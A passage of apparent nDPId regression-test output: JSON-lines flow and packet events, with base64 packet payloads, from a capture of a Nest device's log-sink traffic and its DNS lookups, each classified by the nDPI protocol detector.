A9NrWeI9e9nsIN0x+kcP1z7qyH11oYGBgYGNUAAAQACAAwAR0A2G31fq+TOXoyqvgRUKTA+nYWK49Y5M6pPX1i2DACHQDLeQmsDgLPZIqWGixBFHwTSJsfpkvJb4ZnSPpVGEb\/GHZhO10mK29J0xKM8wSIOLew"} +00423{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717450,"pkt_ts_usec":932392,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMHIAAP8GYgrAqPIPI65S7fd1K1cJDrNIz66FtFAQD1pCoAAAAAAAAAAA"} +00489{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717452,"pkt_ts_usec":328815,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcMHMAAP8GYdXAqPIPI65S7fd1K1cJDrNIz66FtFAYD1qYeAAAMgAAExcDAAA2nicAADC0GAMAAAACMLQYEQykBgQAAAAVa3P0RkFW+dlcD7POmwfEvAo6fg=="} +00538{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":681,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":8,"flow_first_seen":1536717450091,"flow_last_seen":1536717452328,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63349,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink","breed":"Acceptable","category":"Cloud"}} +00415{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717452,"pkt_ts_usec":428867,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoodlAAC0GgqMjrlLtwKjyDytX93XProW0CQ6zfFAQbODk5QAA"} +00693{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717452,"pkt_ts_usec":433186,"pkt_caplen":258,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":258,"pkt_l4_len":224,"pkt":"AJD7JidrGLQwJjRACABFAAD0MHQAAP8GYTzAqPIPI65S7fd1K1cJDrN8z66FtFAYD1rV4AAAygAQEwAAAAA2nicAADC0GAMAAAACMLQY2Cfv7HvXPsKFYm+Fvy7t+9lgnc56QGmd\/eVjBVdTXBr35uaTDhN1mS6RWjNOlkbKoXHmoupkyGTs+2ZnMWXYdTpAVAdN4hr1I\/iQAzMeygyY4VcYD3qbsRxap6xEmiyJiVhJM9iaT2bmzxF8MC3Rhdf89KqsbjYwOsv9Ldxwd3+8H9SUOpByMMa6nDTYGi3XX5vk+ugYcYYkbmwzwKinTum5rmGQR51hVuA1UUWRaBiDe7FQ"} +00416{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717452,"pkt_ts_usec":499435,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoodpAAC0GgqIjrlLtwKjyDytX93XProW0CQ60SFAQcRDf6QAA"} +00500{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":685,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717452,"pkt_ts_usec":513938,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"GLQwJjRAAJD7JidrCABFAABkodtAAC0GgmUjrlLtwKjyDytX93XProW0CQ60SFAYcRDdFQAAOgAQEwAAAAADAAAAAjC0GDaeJwAAMLQY2CcYw2PrQj4rVuLQFloMCXPSQqZrX+9V7wr29y\/Txs\/GJXG0"} +00585{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":686,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717452,"pkt_ts_usec":520876,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"AJD7JidrGLQwJjRACABFAACiMHUAAP8GYY3AqPIPI65S7fd1K1cJDrRIz66F8FAYDx5oWQAAeAAQEwEAAAA2nicAADC0GAMAAAACMLQY2CeHe3fbvWidKfohKuRa7XDuojHzMgZ2OhqIaxSzulmY1XoAGRd4ENFcqyJqh4aNnK3Zk8\/cV+XMiFuh2rYIlEfPQTViL5\/yMAtxrgtaJegSjYVtcSEEHhb64b0qiEWrpM4="} +01272{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717452,"pkt_ts_usec":582887,"pkt_caplen":683,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":683,"pkt_l4_len":649,"pkt":"GLQwJjRAAJD7JidrCABFAAKdodxAAC0GgCsjrlLtwKjyDytX93XProXwCQ60wlAYcRC4\/AAAcwIQEwEAAAADAAAAAjC0GDaeJwAAMLQY2CdpgLR76mOJh9OcABZMQZxjd6W+4olkuKICGOoEHYAr7uuNJHp5lmVSQcLnoVMK6Pckncv+NG93Wf7\/UfUStKBidDWVzuoHH+KvDDU\/exXRljKxonJqLcgzfK4KHwxJNq0hmXASfbLaIoekpC8pw\/ZpmgM+ayekgJB+CBAZDzA38Kj3fQEXKdPvKi434t49P11HKag+kNjXJjTiBbhC07ZYHYmfROcH+JGVG+sgYvt0GibOChZF74V\/RvixPDzrVDGmlBzlO9osVBV6D6EUcuUx+xdswEFwFHRCLwD76dncYNAon1ZQRjGBHhjNFX0aL1J7yj85gD6Chnn7Psw808CMGMCl8pYpMpJMMK8ys3tgyl+HtbVElVqeunEW2ya2Y9QoNuNBt1hZkYG0k\/EmOpD7dk6ANgZJOjSXBeloJBYH9rh0mH\/dTZeVQBVZavePeJzrwLN2z12WBU07O0ohB2LeO0Pm0BwjErn4+SkZwg7NWyYY4bZBQ7Nw9OIbUghLGGEUTdewDlIJSEpQCi\/KoH6b2glDONkfdY7DNM7m7h0DU+Oax34IhSt6w9ZNB5t5ocBqoyAXmd+780hynw5Whcwk\/NLvCZIrDT501EBJYcXrQYAvAk3wQJb9NkGyofDKIlNph+RRIR7JJ\/tN\/luzKYeYT3jUAx8+pjaQOfOOQ9uOebNAjCUVr34xlZN5Tdfu4L4BdDbLh3UA+oAWbEak3VBSXfZ+EFCr4RX6Jp4b5G9nWh14E2DYXRY19JnweARqxsVgblB4leYp3YzGMnN5lsK892Gsq\/GT05G0\/dE="} +00424{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536717452,"pkt_ts_usec":593864,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMHYAAP8GYgbAqPIPI65S7fd1K1cJDrTCz66IZVAQEgA7zwAAAAAAAAAA"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":699,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":78,"flow_first_seen":1536716407119,"flow_last_seen":1536717449999,"flow_tot_l4_data_len":5476,"flow_min_l4_data_len":20,"flow_max_l4_data_len":697,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63346,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00504{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":699,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":49,"flow_first_seen":1536717428089,"flow_last_seen":1536717431514,"flow_tot_l4_data_len":10331,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":210,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63348,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":741,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":5,"flow_first_seen":1536717427961,"flow_last_seen":1536717450088,"flow_tot_l4_data_len":362,"flow_min_l4_data_len":48,"flow_max_l4_data_len":135,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":745,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1536718052990,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63350,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":745,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718052,"pkt_ts_usec":990525,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsMIsAAP8GYe3AqPIPI65S7fd2K1cJGivXAAAAAGACEgAGSAAAAgQEgAAA"} +00422{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":747,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718053,"pkt_ts_usec":59160,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAAC0GJHkjrlLtwKjyDytX93aQyd5SCRor2GASaQM+4wAAAgQFtA=="} +00422{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":748,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718053,"pkt_ts_usec":62757,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMIwAAP8GYfDAqPIPI65S7fd2K1cJGivYkMneU1AQEgCtowAAAAAAAAAA"} +01134{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":749,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718053,"pkt_ts_usec":697119,"pkt_caplen":585,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":585,"pkt_l4_len":551,"pkt":"AJD7JidrGLQwJjRACABFAAI7MI0AAP8GX9zAqPIPI65S7fd2K1cJGivYkMneU1AYEgDiowAAEQIAExgDAAA2nicAADC0GAMAAAACMLQYEQqrBgQAAACBAAA5+ABtAAEAWiMlAFojuSAEqqg\/GG3XZ7S+GVgdJAxV3FdXtYqDvNEkQ7I6nVFTXJVnaCjLkbfmPxhMrtnj9HDtKB+WM2\/s\/m+VBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARwd+O5CSMqBtmXz\/1zPm4DXlstlRUz7LE7UoUFYMAIdAPhoHjs\/jsC2DB0sdsJSNgiMwlY1m+Ig3\/2eM4AY"} +00415{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":750,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718053,"pkt_ts_usec":761048,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAosfNAAC0GcokjrlLtwKjyDytX93aQyd5TCRot61AQbOBQsAAA"} +01334{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":751,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718053,"pkt_ts_usec":776985,"pkt_caplen":731,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":731,"pkt_l4_len":697,"pkt":"GLQwJjRAAJD7JidrCABFAALNsfRAAC0Gb+MjrlLtwKjyDytX93aQyd5TCRot61AYbOBPtgAAowIAExgDAAADAAAAAjC0GDaeJwAAMLQYEAurBgQAAACAOesBAAAE0sW8P6\/LXxXtSVWgOie0jFpFH\/L7tTiMXUvkzpyGDbX+jfCmn11GvLdTiJofb1GRcypu9DeYwXjVAAAEAAcANQEwAQgRAGNdWXuZjyQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSAwAAAAIwtBgYJAcCJgglAFojMAo5BAmqnD2bjDiK3yLVcr2LQ\/iPmlWn\/iDHinq\/pRMoxaNQgTnwimtBL+qTiTQqENL2xrPIWxZjJGeRNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIISKnh4YvR26oYNYAwAghAMCqAESxXYxg1DDABHG7LEaIGSLUc\/M2D6faSCjZ4yyUajbt6l0larAowAhxg27mtYz94ldNAgb53O7UEnNbhJ3tZG9saSNIDGBg3A9UAAAQAAQAwAQh0U8TzJXXApCQCBDcDJxMBAAAA7jC0GBgmBIRKFhomBYQI+0k3BicTAwAAAO4wtBgYJAcCJgglAFojMAo5BGE4qnve9lbNUGTNwi8LtUdKfuSMTjD7DNvhKAxIglvrJHimTYHTbv0nAD\/mK7\/RNCUG+rTQMUDDNYMpASkCGDWCKQEkAmAYNYEwAghAMCqAESxXYxg1gDACCEM09xLfX5HPGDUMMAEcEurFeVqNP0pdZ4E34\/y4bmkdTprW+aj+LfeYwjACHQCMH3zVX2A9NrWeI9e9nsIN0x+kcP1z7qyH11oYGBgYGNUAAAQACAAwARw1T2IcMbxoxOJxWzVUvGZAZjKEZDcm7zKQa67bMAIdAKPrCSVs\/c\/JcdU67zBXeGds8ta1rgpv1q\/OZsgYS8IvNc9SGG7wUPxFuOb9ubzI2y8="} +00423{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":752,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718053,"pkt_ts_usec":848053,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMI4AAP8GYe7AqPIPI65S7fd2K1cJGi3rkMng+FAQD1urkAAAAAAAAAAA"} +00491{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":753,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718055,"pkt_ts_usec":162308,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcMI8AAP8GYbnAqPIPI65S7fd2K1cJGi3rkMng+FAYD1sXwwAAMgAAExkDAAA2nicAADC0GAMAAAACMLQYEQyrBgQAAAC91\/p2XARSKlEAE\/UpbfvFYG1sJQ=="} +00538{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":753,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":8,"flow_first_seen":1536718052990,"flow_last_seen":1536718055162,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":20,"flow_max_l4_data_len":697,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63350,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink","breed":"Acceptable","category":"Cloud"}} +00415{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":754,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718055,"pkt_ts_usec":268280,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAosfVAAC0GcocjrlLtwKjyDytX93aQyeD4CRouH1AQbOBN1wAA"} +00694{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":755,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718055,"pkt_ts_usec":271521,"pkt_caplen":258,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":258,"pkt_l4_len":224,"pkt":"AJD7JidrGLQwJjRACABFAAD0MJAAAP8GYSDAqPIPI65S7fd2K1cJGi4fkMng+FAYD1t2dQAAygAQEwAAAAA2nicAADC0GAMAAAACMLQYuSAnzQlRb5c23McyQuVT3uwhB720rf8l+1tf9TgDr\/Y2s1FAD3GCnmlmFk7Uphom+LvFr+8\/KFpvvGBpyXq4djXJ8AonV9JeIhGMS+mA\/J6VfcfUE93UnL1ZrFEYueFIh0USTCKXQLMVCHIhIWKHVHuxDKC8xejFBE6Xz79Wuy3mMMAFWAT5nOHnk4gJHsmpCR1A4vyXmEE0aN6McmjOPcVxuCV7pMMaEWxnIAHs5kbrxLpr"} +00416{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":756,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718055,"pkt_ts_usec":339269,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAosfZAAC0GcoYjrlLtwKjyDytX93aQyeD4CRou61AQcRBI2wAA"} +00499{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":757,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718055,"pkt_ts_usec":357306,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"GLQwJjRAAJD7JidrCABFAABksfdAAC0GckkjrlLtwKjyDytX93aQyeD4CRou61AYcRBVAAAAOgAQEwAAAAADAAAAAjC0GDaeJwAAMLQYuSBpRHQVPFXnn+WQNHzLhjXlez4+ZKtiRL\/xEV2m+kFK28rQ"} +00585{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":758,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718055,"pkt_ts_usec":364971,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"AJD7JidrGLQwJjRACABFAACiMJEAAP8GYXHAqPIPI65S7fd2K1cJGi7rkMnhNFAYDx+UvwAAeAAQEwEAAAA2nicAADC0GAMAAAACMLQYuSAYxN7C6\/gO3nX5RyJn6PJ9iRIqn4rDPj7MUvwmK1p8coXxYhvOuHuK39YrcDbHgfSoB9ZDkVTssG3e2d5k\/BxSNjKzvt3DFGIVz+PwYw38jxPyzt2Hi0LvlmNrwVcQGW0="} +01275{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":759,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718055,"pkt_ts_usec":427492,"pkt_caplen":683,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":683,"pkt_l4_len":649,"pkt":"GLQwJjRAAJD7JidrCABFAAKdsfhAAC0GcA8jrlLtwKjyDytX93aQyeE0CRovZVAYcRBJ9AAAcwIQEwEAAAADAAAAAjC0GDaeJwAAMLQYuSDinmqKzVmF\/eXMTOuZcdK+ib75BwO2oRGiiEDaK+3Pnw6Qs3C2noqSiwxhZsWJqdX1dyfTcKsrWwY6rO88+9mzSYz7OLdrdI3Slhl6kFBlRJX1kIcqD9ANTwvp+eTpzPxf3v2eUNECf4c1wvLKvfCJ2DzlvA+9R22EhnwlvZ\/jXuZ4phZepXDYHL\/B3Ss7IGKhJqNLeKkNPk25T3KCgYS54n\/QME\/NXSW1MnR1xtMeue+XPaQa+H\/sQSz+Jftw5+hEy1LhPQrs4pdXJFqRa4dLsnZde2pfv9bCWv+7g4e0jB+2u8pZ8agAkiO4w5ENbZ5RETWjHG+3czkYpXrKJ0sVYYZ0QMi2ckLWdLtdUEbKekl9junNF7tzxieYQO44X4FWADbiNFAL0YXsSu8dJZnutXQtU1DTEumsVdmK8\/YJW\/J1Ra5OniITRIzML7ukbj8J0uachhaLaUkjn5HJHDNQhhapIVEhlCRmOA6uG\/uNuT3SJP7\/5GaOxIzMsS+8HpIlBYra8Eqqtf71DzobHQta6dCKrA3HOPFkSqdxhABE2ev1QwKTvtA4TFr1G0l3s4cWsd\/LI1urCmjHwxJNKWPepNStz+IayuBnhlcYYVQjYFVcm9HCNy046dvNAzpSWuf8rCZg0ZiIkgveI5XtAdGedXl56vAdgQGvLl1ctNPHojREl\/N2ClrxOHSQOHDPpgB\/5Ietx76wgHSTe3iphyBZWgFW4P\/iZ2CTKja71Kgqv6dIFclTSEBenmTt6a+aEnlQUOlUkb0\/KXZkWP1a5v+iBRUsfhAZg\/KIQeI="} +00424{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":760,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718055,"pkt_ts_usec":437112,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoMJIAAP8GYerAqPIPI65S7fd2K1cJGi9lkMnjqVAQEgCkwAAAAAAAAAAA"} +00501{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":771,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":52,"flow_first_seen":1536717450091,"flow_last_seen":1536718053058,"flow_tot_l4_data_len":4410,"flow_min_l4_data_len":20,"flow_max_l4_data_len":698,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.174.82.237","src_port":63349,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":779,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1536718202959,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":779,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718202,"pkt_ts_usec":959606,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AJD7JidrGLQwJjRACABFAABEMJoAAP8RJazAqPIPwKjyAc5xADUAMPGqwpsBAAABAAAAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAQ=="} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":779,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1536718202959,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weave-logsink.nest.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00475{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":780,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536718202,"pkt_ts_usec":959785,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"GLQwJjRAAJD7JidrCABFAABUb5VAAEARZaHAqPIBwKjyDwA1znEAQGW0wpuBgAABAAEAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAcAMAAEAAQAAAHgABCO8mro="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":780,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":2,"flow_first_seen":1536718202959,"flow_last_seen":1536718202959,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weave-logsink.nest.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.188.154.186"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":781,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1536718202984,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63351,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 